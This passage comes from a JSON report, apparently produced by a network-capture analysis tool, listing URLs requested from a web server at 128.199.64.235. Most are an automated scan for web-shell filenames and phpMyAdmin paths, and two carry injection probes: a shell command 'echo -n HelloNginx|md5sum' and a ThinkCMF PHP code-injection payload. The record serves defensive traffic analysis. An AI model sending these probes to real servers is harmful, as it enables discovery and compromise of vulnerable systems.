        "observable_id": "observable-925d8f82295b8ad45cab68d3",
        "type": "url",
        "value": "http://128.199.64.235/1ts.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 525,
            "display_filter": "frame.number == 525",
            "timestamp_epoch": "1577255590.213762000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a8b9812d77ba2fc61db136ac",
        "type": "url",
        "value": "http://128.199.64.235/1x.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 308,
            "display_filter": "frame.number == 308",
            "timestamp_epoch": "1577255412.100932000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-063c070a4b60a863f33468d7",
        "type": "url",
        "value": "http://128.199.64.235/2.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1500,
            "display_filter": "frame.number == 1500",
            "timestamp_epoch": "1577256051.577006000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1662,
            "display_filter": "frame.number == 1662",
            "timestamp_epoch": "1577256131.976058000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f006c7037fb96d9ba6a8c0e0",
        "type": "url",
        "value": "http://128.199.64.235/2ndex.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 29,
            "frame_number": 907,
            "display_filter": "frame.number == 907",
            "timestamp_epoch": "1577255770.763545000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9eeaa15f7a5a7ec66bb53436",
        "type": "url",
        "value": "http://128.199.64.235/3.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1306,
            "display_filter": "frame.number == 1306",
            "timestamp_epoch": "1577255919.382602000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a132839b56329f121cda9d30",
        "type": "url",
        "value": "http://128.199.64.235/321/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2328,
            "display_filter": "frame.number == 2328",
            "timestamp_epoch": "1577256409.170036000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9883d22e88b445b003663bc4",
        "type": "url",
        "value": "http://128.199.64.235/4.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1309,
            "display_filter": "frame.number == 1309",
            "timestamp_epoch": "1577255919.658601000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-eb29a9b91e34bce67ebd1cba",
        "type": "url",
        "value": "http://128.199.64.235/411.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 614,
            "display_filter": "frame.number == 614",
            "timestamp_epoch": "1577255623.934209000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a794fe60bd28d8e2c534b19b",
        "type": "url",
        "value": "http://128.199.64.235/415.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 617,
            "display_filter": "frame.number == 617",
            "timestamp_epoch": "1577255624.212709000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e268d6b75d8d6e8bc89df4c2",
        "type": "url",
        "value": "http://128.199.64.235/421.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 620,
            "display_filter": "frame.number == 620",
            "timestamp_epoch": "1577255625.061893000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fff71392749b041d46679a84",
        "type": "url",
        "value": "http://128.199.64.235/444.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 623,
            "display_filter": "frame.number == 623",
            "timestamp_epoch": "1577255625.638735000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a23a9d81553efec6f20d8ae3",
        "type": "url",
        "value": "http://128.199.64.235/51314.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1598,
            "display_filter": "frame.number == 1598",
            "timestamp_epoch": "1577256089.955049000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ee2a7d09c7774bfe8341032a",
        "type": "url",
        "value": "http://128.199.64.235/520.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1979,
            "display_filter": "frame.number == 1979",
            "timestamp_epoch": "1577256278.052952000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5e4f233d062e326fc18d86d0",
        "type": "url",
        "value": "http://128.199.64.235/5201314.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1601,
            "display_filter": "frame.number == 1601",
            "timestamp_epoch": "1577256090.222355000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-30137dee34331dda00436877",
        "type": "url",
        "value": "http://128.199.64.235/56.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1221,
            "display_filter": "frame.number == 1221",
            "timestamp_epoch": "1577255876.935594000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7c733582979ad875b42e0f31",
        "type": "url",
        "value": "http://128.199.64.235/5678.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 538,
            "display_filter": "frame.number == 538",
            "timestamp_epoch": "1577255591.326863000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e604388e422829486880cd8c",
        "type": "url",
        "value": "http://128.199.64.235/605.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 802,
            "display_filter": "frame.number == 802",
            "timestamp_epoch": "1577255710.403447000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b8f2b3b2b427b627a6c21fd4",
        "type": "url",
        "value": "http://128.199.64.235/666.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1693,
            "display_filter": "frame.number == 1693",
            "timestamp_epoch": "1577256138.280301000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-776cf3b3662028291e863b1d",
        "type": "url",
        "value": "http://128.199.64.235/7.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1740,
            "display_filter": "frame.number == 1740",
            "timestamp_epoch": "1577256156.556385000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0893262f555abdddc722420b",
        "type": "url",
        "value": "http://128.199.64.235/777.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1696,
            "display_filter": "frame.number == 1696",
            "timestamp_epoch": "1577256138.548845000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a7db5e80b741e7b53cf93bf6",
        "type": "url",
        "value": "http://128.199.64.235/789056.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1402,
            "display_filter": "frame.number == 1402",
            "timestamp_epoch": "1577255990.289972000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4b9b94d024c210a6e95e1cd4",
        "type": "url",
        "value": "http://128.199.64.235/7o.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 716,
            "display_filter": "frame.number == 716",
            "timestamp_epoch": "1577255673.802539000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-75bac0893b3433545114fad0",
        "type": "url",
        "value": "http://128.199.64.235/803.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 857,
            "display_filter": "frame.number == 857",
            "timestamp_epoch": "1577255732.857082000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6100ba87b32ec3792ca0f423",
        "type": "url",
        "value": "http://128.199.64.235/887.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 657,
            "display_filter": "frame.number == 657",
            "timestamp_epoch": "1577255637.840125000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-86d8e3f6d45f2fc0abcec152",
        "type": "url",
        "value": "http://128.199.64.235/888.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 661,
            "display_filter": "frame.number == 661",
            "timestamp_epoch": "1577255638.471336000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9ddb17e97f48ddd6dd2cb403",
        "type": "url",
        "value": "http://128.199.64.235/9.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 648,
            "display_filter": "frame.number == 648",
            "timestamp_epoch": "1577255632.326815000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fbb81465c07a2a492df81b2f",
        "type": "url",
        "value": "http://128.199.64.235/92.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1568,
            "display_filter": "frame.number == 1568",
            "timestamp_epoch": "1577256082.138054000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-78b9524355418ec381e25ccd",
        "type": "url",
        "value": "http://128.199.64.235/9510.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1315,
            "display_filter": "frame.number == 1315",
            "timestamp_epoch": "1577255921.759838000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-350f9aa8bf078c6bdeccb1e6",
        "type": "url",
        "value": "http://128.199.64.235/9678.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 564,
            "display_filter": "frame.number == 564",
            "timestamp_epoch": "1577255600.858894000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1dc95ce7dd02e68d9e086839",
        "type": "url",
        "value": "http://128.199.64.235/981.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 654,
            "display_filter": "frame.number == 654",
            "timestamp_epoch": "1577255635.270988000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-89c8a54c174359b4b09efe97",
        "type": "url",
        "value": "http://128.199.64.235/98k.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 651,
            "display_filter": "frame.number == 651",
            "timestamp_epoch": "1577255635.006583000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-72184b28a4272e4eb3fe47fc",
        "type": "url",
        "value": "http://128.199.64.235/99.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 13,
            "frame_number": 504,
            "display_filter": "frame.number == 504",
            "timestamp_epoch": "1577255555.236627000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d9d6f14e5771ba9c0a515e72",
        "type": "url",
        "value": "http://128.199.64.235/999.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 811,
            "display_filter": "frame.number == 811",
            "timestamp_epoch": "1577255713.521946000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d4edab0779434c465d73c83f",
        "type": "url",
        "value": "http://128.199.64.235/?a=echo%20-n%20HelloNginx%7Cmd5sum",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 297,
            "display_filter": "frame.number == 297",
            "timestamp_epoch": "1577255411.262666000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0a8b4efbcbdf25b21c907c9c",
        "type": "url",
        "value": "http://128.199.64.235/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 280,
            "display_filter": "frame.number == 280",
            "timestamp_epoch": "1577255408.320217000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-321a3a9d27bc29bd1a9eb715",
        "type": "url",
        "value": "http://128.199.64.235/_404.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1054,
            "display_filter": "frame.number == 1054",
            "timestamp_epoch": "1577255806.423010000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8ba3f23ae2f1f6f9ce26ec62",
        "type": "url",
        "value": "http://128.199.64.235/__phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2361,
            "display_filter": "frame.number == 2361",
            "timestamp_epoch": "1577256429.978119000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-09dfc51b7baa2e516484f9b5",
        "type": "url",
        "value": "http://128.199.64.235/_query.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 89,
            "display_filter": "frame.number == 89",
            "timestamp_epoch": "1577255368.522892000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7eae5fef89947d7149c0f0db",
        "type": "url",
        "value": "http://128.199.64.235/a.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 957,
            "display_filter": "frame.number == 957",
            "timestamp_epoch": "1577255781.770669000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1671,
            "display_filter": "frame.number == 1671",
            "timestamp_epoch": "1577256133.662267000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1725,
            "display_filter": "frame.number == 1725",
            "timestamp_epoch": "1577256150.280184000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f24f3b1c3e06f556d7d613f0",
        "type": "url",
        "value": "http://128.199.64.235/a411.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 626,
            "display_filter": "frame.number == 626",
            "timestamp_epoch": "1577255626.562659000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e4a8bbf2438c9834c2ea0714",
        "type": "url",
        "value": "http://128.199.64.235/aa.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 19,
            "frame_number": 670,
            "display_filter": "frame.number == 670",
            "timestamp_epoch": "1577255644.950557000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 921,
            "display_filter": "frame.number == 921",
            "timestamp_epoch": "1577255772.360985000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5fc4e3e235f8760f6dbe301a",
        "type": "url",
        "value": "http://128.199.64.235/aaa.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 594,
            "display_filter": "frame.number == 594",
            "timestamp_epoch": "1577255616.925040000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1728,
            "display_filter": "frame.number == 1728",
            "timestamp_epoch": "1577256150.548389000"
          },
          {
            "tcp_stream": 59,
            "frame_number": 1857,
            "display_filter": "frame.number == 1857",
            "timestamp_epoch": "1577256205.708246000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7f4bf578fc8bcd0c7173ef25",
        "type": "url",
        "value": "http://128.199.64.235/aap.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 741,
            "display_filter": "frame.number == 741",
            "timestamp_epoch": "1577255680.648752000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3884a8c0ec67b3c6c8d16a57",
        "type": "url",
        "value": "http://128.199.64.235/abak.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 947,
            "display_filter": "frame.number == 947",
            "timestamp_epoch": "1577255780.372576000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9801aa344a1ae99e1e688176",
        "type": "url",
        "value": "http://128.199.64.235/abc776.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1405,
            "display_filter": "frame.number == 1405",
            "timestamp_epoch": "1577255993.598057000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d0dcdd025199b2c28eb76b2b",
        "type": "url",
        "value": "http://128.199.64.235/about_ver.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 963,
            "display_filter": "frame.number == 963",
            "timestamp_epoch": "1577255783.396783000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d0fdbaf70ce8e02cd85b4143",
        "type": "url",
        "value": "http://128.199.64.235/ack.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 759,
            "display_filter": "frame.number == 759",
            "timestamp_epoch": "1577255684.809344000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ff9290b9f12d61b87e4dcc40",
        "type": "url",
        "value": "http://128.199.64.235/admin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2107,
            "display_filter": "frame.number == 2107",
            "timestamp_epoch": "1577256352.207530000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fd87b186b4e9e0696b43d397",
        "type": "url",
        "value": "http://128.199.64.235/admin/mysql/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2127,
            "display_filter": "frame.number == 2127",
            "timestamp_epoch": "1577256355.300657000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6c004bc9af60ea61e5cc8fb4",
        "type": "url",
        "value": "http://128.199.64.235/admin/mysql2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2130,
            "display_filter": "frame.number == 2130",
            "timestamp_epoch": "1577256356.265266000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d807009fc103500a1ba238f2",
        "type": "url",
        "value": "http://128.199.64.235/admin/phpmyadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2133,
            "display_filter": "frame.number == 2133",
            "timestamp_epoch": "1577256356.543171000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0106c396cfe58c131532ca1c",
        "type": "url",
        "value": "http://128.199.64.235/admin/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2136,
            "display_filter": "frame.number == 2136",
            "timestamp_epoch": "1577256358.091002000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-81b11b858d5b14fa802cfea8",
        "type": "url",
        "value": "http://128.199.64.235/admin/phpmyadmin2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2139,
            "display_filter": "frame.number == 2139",
            "timestamp_epoch": "1577256358.391408000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
